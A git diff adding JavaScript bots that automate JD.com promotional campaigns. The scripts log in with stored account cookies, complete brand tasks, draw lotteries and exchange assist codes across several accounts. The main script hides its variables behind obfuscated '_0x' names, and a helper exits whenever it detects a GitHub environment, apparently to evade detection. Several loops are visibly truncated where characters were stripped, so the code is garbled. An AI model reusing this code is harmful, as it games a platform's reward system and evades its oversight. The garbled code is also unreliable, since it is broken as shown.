`https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; + } + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId}%7D`; + break; + case 'help': + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; + break; + default: + console.log(`错误${type}`); + } + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'superBrandSecondFloorMainPage': + if(data.code === '0' && data.data && data.data.result){ + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if(data.code === '0'){ + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if(data.code === '0'){ + console.log(JSON.stringify(data.data.bizMsg)); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'superBrandTaskLottery': + if(data.code === '0' && data.data.bizCode !== 'TK000'){ + $.runFlag = false; + console.log(`抽奖次数已用完`); + }else if(data.code === '0' && data.data.bizCode == 'TK000'){ + if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ + if(data.data.result.rewardComponent.beanList.length >0){ + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + }else{ + $.runFlag = false; + console.log(`抽奖失败`); + } + //console.log(JSON.stringify(data)); + break; + + case 'help': + if(data.code === '0' && data.data.bizCode === '0'){ + $.codeInfo.time ++; + console.log(`助力成功`); + }else if (data.code === '0' && data.data.bizCode === '104'){ + $.codeInfo.time ++; + console.log(`已助力过`); + }else if (data.code === '0' && data.data.bizCode === '108'){ + $.canHelp = false; + console.log(`助力次数已用完`); + }else if (data.code === '0' && data.data.bizCode === '103'){ + console.log(`助力已满`); + $.codeInfo.time = 3; + }else if (data.code === '0' && data.data.bizCode === '2001'){ + $.canHelp = false; + console.log(`黑号`); + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getRequest(url) { + const headers = { + 'Origin' : `https://pro.m.jd.com`, + 'Cookie' : $.cookie , + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://pro.m.jd.com/mall/active/4UgUvnFebXGw6CbzvN6cadmfczuP/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent' : UA, + 'Accept-Language' : `zh-cn`, + 'Accept-Encoding' : `gzip, deflate, br` + }; + return {url: url, headers: headers,body:``}; +} + +function randomWord(randomFlag, min, max){ + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(var i=0; i { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_superBrandJK.js b/jd_superBrandJK.js new file mode 100644 index 0000000..dab94c1 --- /dev/null +++ b/jd_superBrandJK.js @@ -0,0 +1,293 @@ +/* + 特务集卡 + 脚本没有自动开卡,会尝试领取开卡奖励 + 第一个CK黑号会退出 +cron:2 10,18,20 * * * + +2 10,18,20 * * * jd_superBrandJK.js +*/ + +const $ = new Env('特务集卡'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +console.log('\n活动地址:首页下拉,需要开卡才能100%集齐,没有开卡的手动开,集齐晚上8点后瓜分\n') +let shareList=[]; +$.flag = false +!(async()=>{ + if(!cookiesArr[0]){ + $.msg($.name,'【提示】请先获取京东账号一cookie直接使用NobyDa的京东签到获取','https://bean.m.jd.com/bean/signIndex.action',{'open-url':'https://bean.m.jd.com/bean/signIndex.action'}); + return; + } + for(let _0x44559b=0;_0x44559b{ + $.log('','❌ '+$.name+', 失败! 原因: '+_0x307399+'!',''); +}).finally(()=>{ + $.done(); +}); +async function main(_0x14f2ac){ + let _0xc6f9d4=decodeURIComponent(_0x14f2ac.match(/pt_pin=(.+?);/)&&_0x14f2ac.match(/pt_pin=(.+?);/)[1]); + let _0x43a9de=await takeRequest(_0x14f2ac,'showSecondFloorCardInfo','{"source":"card"}'); + if(JSON.stringify(_0x43a9de)==='{}'||!_0x43a9de||!_0x43a9de.result||!_0x43a9de.result.activityBaseInfo){ + console.log('本期活动结束,等待下期。。。'); + $.flag = true + return; + } + let _0x215414=_0x43a9de.result.activityBaseInfo; + let _0x23add7=_0x215414.activityId; + let _0x5bf325=await takeRequest(_0x14f2ac,'superBrandTaskList','{"source":"card","activityId":'+_0x23add7+',"assistInfoFlag":1}'); + if((JSON.stringify(_0x5bf325)==='{}')||(JSON.stringify(_0x43a9de)==='{}')){ + console.log(_0xc6f9d4+',获取活动详情失败2'); + return; + } + if(!_0x5bf325||!_0x5bf325.result||!_0x5bf325.result.taskList){ + console.log(_0xc6f9d4+',黑号'); + return; + } + let _0x183c5a=_0x5bf325.result.taskList||[]; + console.log(''+_0xc6f9d4+',获取活动详情成功'); + let _0x5add38=_0x215414.encryptProjectId; + let _0x34eeb3=_0x43a9de.result.activityCardInfo; + if((_0x34eeb3.divideTimeStatus===1)&&(_0x34eeb3.divideStatus===0)&&_0x34eeb3.cardStatus===1){ + console.log(_0xc6f9d4+',去瓜分'); + let _0x2a25b6=await takeRequest(_0x14f2ac,'superBrandTaskLottery','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","tag":"divide"}'); + console.log('瓜分结果:'+_0x2a25b6.result.userAwardInfo.beanNum+'豆\n'); + return; + }else if(_0x34eeb3.divideTimeStatus===1&&_0x34eeb3.divideStatus===1&&(_0x34eeb3.cardStatus===1)){ + console.log(_0xc6f9d4+',已瓜分'); + return; + }else{ + console.log(_0xc6f9d4+',未集齐或者未到瓜分时间'); + } + await $.wait(2000); + for(let _0x5813c8=0;_0x5813c8<_0x183c5a.length;_0x5813c8++){ + let _0x4a424c=_0x183c5a[_0x5813c8]; + if(_0x4a424c.assignmentType===2){ + let _0x2ec90c=_0x4a424c.ext.cardAssistBoxRest||'0'; + for(let _0x5d0f56=0;_0x5d0f56<_0x2ec90c;_0x5d0f56++){ + console.log('领取助力奖励'); + let _0x9b8d5a=await takeRequest(_0x14f2ac,'superBrandTaskLottery','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'"}'); + console.log('领取结果:'+_0x9b8d5a.bizMsg); + await $.wait(3000); + } + }if(_0x4a424c.completionFlag){ + console.log('任务:'+_0x4a424c.assignmentName+',已完成'); + continue; + }if(_0x4a424c.assignmentType===1){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x3c7f29=_0x4a424c.ext.shoppingActivity[0].itemId||''; + if(!_0x3c7f29){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + } + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandDoTask','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4a424c.encryptAssignmentId+'","assignmentType":'+_0x4a424c.assignmentType+',"itemId":"'+_0x3c7f29+'","actionType":0}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + }if(_0x4a424c.assignmentType===3){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x440f46=_0x4a424c.ext.followShop[0].itemId||''; + if(!_0x440f46){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + } + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandDoTask','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4a424c.encryptAssignmentId+'","assignmentType":'+_0x4a424c.assignmentType+',"itemId":"'+_0x440f46+'","actionType":0}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + }if(_0x4a424c.assignmentType===7){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x25a600=_0x4a424c.ext.brandMemberList[0].itemId||''; + if(!_0x25a600){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + } + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandDoTask','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4a424c.encryptAssignmentId+'","assignmentType":'+_0x4a424c.assignmentType+',"itemId":"'+_0x25a600+'","actionType":0}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + }if(_0x4a424c.assignmentType===5){ + let _0x1e4481=_0x4a424c.ext.sign2||[]; + if(_0x1e4481.length===0){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + }if(_0x4a424c.assignmentName==='首页限时下拉'){ + for(let _0x5d0f56=0;_0x5d0f56<_0x1e4481.length;_0x5d0f56++){ + if(_0x1e4481[_0x5d0f56].status===1){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x25a600=_0x1e4481[_0x5d0f56].itemId; + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandDoTask','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4a424c.encryptAssignmentId+'","assignmentType":'+_0x4a424c.assignmentType+',"itemId":"'+_0x25a600+'","actionType":0,"dropDownChannel":1}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + } + } + }else if(_0x4a424c.assignmentName.indexOf('小游戏')!==-1){ + for(let _0x5d0f56=0;_0x5d0f56<_0x1e4481.length;_0x5d0f56++){ + if(_0x1e4481[_0x5d0f56].status===1){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x5e4237=await takeRequest(_0x14f2ac,'showSecondFloorGameInfo','{"source":"card"}'); + let _0x5bc621=_0x5e4237.result.activityGameInfo.gameCurrentRewardInfo.secCode; + let _0x4e6eb7=_0x5e4237.result.activityGameInfo.gameCurrentRewardInfo.encryptAssignmentId; + await $.wait(3000); + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandTaskLottery','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4e6eb7+'","secCode":"'+_0x5bc621+'"}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + } + } + } + }if(_0x4a424c.assignmentType===2){ + let _0x282818=_0x4a424c.ext.assistTaskDetail.itemId||''; + if(!_0x282818){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + } + shareList.push({'user':_0xc6f9d4,'activityId':_0x23add7,'encryptProjectId':_0x5add38,'encryptAssignmentId':_0x4a424c.encryptAssignmentId,'itemId':_0x282818,'max':false}); + } + } + await $.wait(2000); + let myaward = await takeRequest(_0x14f2ac,'superBrandShowMyAward','{"source":"card","activityId":'+_0x23add7+'}'); + let rewardList = myaward.result.rewardList; + let y=''; + let x=''; + for(let i=0; i< rewardList.length; i++){ + if(rewardList[i]['rewardType']===3){ + x+=rewardList[i].rewardValue+'\n'; + }else if(rewardList[i]['rewardType']===7){ + x+=rewardList[i].rewardName+' '+rewardList[i].useRange+'\n'; + }else{ + x+=rewardList[i].rewardValue+'\n'; + y+=(rewardList[i].rewardValue+';'); + } + }if(x){ + console.log('\n已获得奖励:\n'+x); + }if(y){ + await notify.sendNotify('特务集卡','京东账号'+_0xc6f9d4+'可能获得实物奖励\n'+y); + } +} +async function takeRequest(_0x419790,_0x5a318a,_0x10cedb){ + let _0x436779=''; + let _0x383bf2='https://api.m.jd.com/?uuid=&client=wh5&area=2_2830_51828_0&appid=ProductZ4Brand&functionId='+_0x5a318a+'&t='+Date.now()+'&body='+encodeURIComponent(_0x10cedb); + const _0xb17315={ + 'Origin':'https://prodev.m.jd.com','Cookie':_0x419790,'Connection':'keep-alive','Accept':'application/json, text/plain, */*','Referer':'https://prodev.m.jd.com/mall/active/2XsicQEdY1CY4tLw96HmFCzn1MNn/index.html','Host':'api.m.jd.com','user-agent':$.isNode()?process.env.JD_USER_AGENT?process.env.JD_USER_AGENT:require('./USER_AGENTS').USER_AGENT:$.getdata('JDUA')?$.getdata('JDUA'):'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1','Accept-Language':'zh-cn','Accept-Encoding':'gzip, deflate, br' + }; + let _0x257f89={'url':_0x383bf2,'headers':_0xb17315,'body':_0x436779}; + return new Promise(async _0x3ed0bf=>{ + $.post(_0x257f89,(_0x4748bf,_0x21a504,_0x340c8a)=>{ + try{ + if(_0x4748bf){ + console.log(_0x4748bf); + }else{ + _0x340c8a=JSON.parse(_0x340c8a); + if(_0x340c8a&&_0x340c8a.data&&(JSON.stringify(_0x340c8a.data)==='{}')){ + console.log(JSON.stringify(_0x340c8a)); + } + } + }catch(_0xd9c1ae){ + console.log(_0x340c8a); + } + finally{ + _0x3ed0bf(_0x340c8a.data||{}); + } + }); + }); +} +function TotalBean(){ + return new Promise(async _0x5b42bb=>{ + const _0x4de18f={'url':'https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2','headers':{ + 'Accept':'application/json,text/plain, */*','Content-Type':'application/x-www-form-urlencoded','Accept-Encoding':'gzip, deflate, br','Accept-Language':'zh-cn','Connection':'keep-alive','Cookie':$.cookie,'Referer':'https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2','User-Agent':$.isNode()?process.env.JD_USER_AGENT?process.env.JD_USER_AGENT:require(_0x3a2151).USER_AGENT:$.getdata('JDUA')?$.getdata('JDUA'):'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + }}; + $.post(_0x4de18f,(_0x43af7c,_0x4afeb2,_0x557f34)=>{ + try{ + if(_0x43af7c){ + console.log(''+JSON.stringify(_0x43af7c)); + console.log($.name+' API请求失败,请检查网路重试'); + }else{ + if(_0x557f34){ + _0x557f34=JSON.parse(_0x557f34); + if(_0x557f34.retcode===13){ + $.isLogin=false; + return; + }if(_0x557f34.retcode===0){ + $.nickName=_0x557f34.base&&_0x557f34.base.nickname||$.UserName; + }else{ + $.nickName=$.UserName; + } + }else{ + console.log('京东服务器返回空数据'); + } + } + }catch(_0x4c8801){ + $.logErr(_0x4c8801,_0x4afeb2); + } + finally{ + _0x5b42bb(); + } + }); + }); +}; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return 